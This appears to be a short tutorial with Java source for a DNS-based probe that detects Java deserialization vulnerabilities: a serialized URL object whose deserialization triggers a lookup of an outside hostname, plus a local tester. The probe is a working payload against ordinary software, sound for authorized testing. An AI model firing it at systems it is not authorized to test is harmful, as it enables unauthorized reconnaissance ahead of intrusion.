DNS-based Java Deserialization Vulnerability Probe

This code generates a simple probe to test for the possible presence of Java deserialization vulnerabilities. The probe is a serialized instance of the java.net.URL class with it’s hashCode set to an invalid value so that a DNS lookup of the hostname will be performed upon deserialization.

Useage

PayloadGenerator.java and PayloadTester.java are below.

Compile PayloadGenerator and run it:

% javac javac PayloadGenerator.java
(ignore warnings)
% java --add-opens java.base/java.net=ALL-UNNAMED PayloadGenerator

There should now be a file named ‘payload.ser’ in the current directory.

Test it with PayloadTester:

% javac PayloadTester.java
% java PayloadTester

You should see a lookup of the given hostname immediately upon running the last command.

PayloadGenerator.java

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.net.URL;
import java.lang.reflect.Field;

public class PayloadGenerator
{
    public static void main(String[] args) throws Exception 
    {
        URL u = new URL(null, "http://desertest57108.nstest222.xelphene.net");
        HashMap obj = new HashMap<String,String>();
        obj.put(u, "this_doesnt_matter");

        // During the put above, the URL's hashCode is calculated and
        // cached.  This resets that so the next time hashCode is called a
        // DNS lookup will be triggered.
        setFieldValue(u, "hashCode", -1);
        
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
    }

    public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
        Field field = clazz.getDeclaredField(fieldName);
        if (field != null)
            field.setAccessible(true);
        else if (clazz.getSuperclass() != null)
            field = getField(clazz.getSuperclass(), fieldName);
        return field;
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception
    {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
}

PayloadTester.java

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class PayloadTester
{
    public static void main(String[] args) throws Exception 
    {
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        ois.close();
        fis.close();
    }
}